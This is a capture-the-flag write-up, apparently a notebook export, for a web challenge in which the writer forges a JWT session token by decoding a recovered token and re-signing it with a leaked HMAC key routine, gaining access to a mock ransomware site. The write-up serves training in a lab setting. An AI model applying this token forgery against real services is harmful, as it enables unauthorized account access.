task6

December 8, 2022

1 Task 6 - Gaining Access - (Web Hacking, [redacted])Points: 150

1.1 Problem statement

We've found the login page on the ransomware site, but we don't know anyone's username or password. Luckily, the file you recovered from the attacker's computer looks like it could be helpful. Generate a new token value which will allow you to access the ransomware site. Enter a token value which will authenticate you as a user of the site.

1.2 What to do

Enter a token value which will authenticate you as a user of the site.

1.3 Write-up

Copy task5's privatekey.pem and a2's root/runnwww.py to the directory of task6.

- \$ cp ./data/task5/privatekey.pem ./data/task6
- \$ cp ./data/a2/root/runwww.py ./data/task6

We can check how we run root/runwww.py from the history.

[1]: %%bash

```
cat ./data/task5/data.dec | awk '{ print $7 }'
```

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NTUyNjAwMzMsImV4cCI6MTY1Nzg1MjAzMywic2VjIjoiMOhldjJOamFpNnZ3NmxTcVJJbWwOT2FLOHBDSU1TN2kiLCJ1aWQiOjI1MDM2fQ.KErCnyV2cYBTza4404wj_PDiNU8K1XbdTyZhDReoJNO

This is the format of JWT. Let's decode it!

This is decoded result of the token in https://jwt.io/.

Encoded PASTE A TOKEN HERE

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey JpYXQiOjE2NTUyNjAwMzMsImV4cCI6MTY1Nzg1M jAzMywic2VjIjoiM0hldjJOamFpNnZ3NmxTcVJJ bWw0T2FLOHBDSU1TN2kiLCJ1aWQiOjI1MDM2fQ. KErCnyV2cYBTza4404wj_PDiNU8K1XbdTyZhDRe oJN0

Decoded EDIT THE PAYLOAD AND SECRET

Remember the source code you get at B2.

```
def generate_token(userName):
```

Let us generate the new token, combining the decoded value and the code.

```
token = jwt.encode(claims, hmac_key(), algorithm='HS256')
print(token)
```

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2NzA1MDQ1MjcsImV4cCI6MTY3MzA5NjU yNywic2VjIjoiMOhldjJOamFpNnZ3NmxTcVJJbWwOT2FLOHBDSU1TN2kiLCJ1aWQiOjI1MDM2fQ.349k mHPj9l0trvg1Z44xwggX9WThvAkFYrDCIIeGFg

Input this token value, and the you've got the flag!

